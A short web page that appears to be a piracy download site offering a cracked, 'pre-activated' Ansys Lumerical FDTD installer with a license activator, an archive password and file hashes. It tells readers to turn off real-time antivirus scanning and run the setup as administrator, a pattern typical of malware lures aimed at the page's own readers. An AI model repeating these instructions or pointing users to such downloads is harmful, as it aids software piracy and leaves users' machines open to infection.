Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Ansys_Lumerical_FDTD_v4.10_x64_setup.zip |
| Version | v4.10.7717 build 9061 |
| File Size | 3.60 GB (3691 MB) |
| MD5 Hash | cf84baf606d707a507e174c68d53521c |
| SHA-256 | b6198601161866223c5e8c15dac3040d5393113fef5d952635213e8aca03ddf1 |
| Release Date | 2026-04-12 |
| Platform | Windows 10 (x64) / Server 2019 |
| Archive Password | soft2026 |
| License Type | Pre-Activated |
With our updated distribution package for Ansys Lumerical FDTD runtime environment developer, users can deploy professional-grade software without licensing interruptions. Make sure to disable real-time antivirus scanning before extracting the archive, then run the setup as administrator.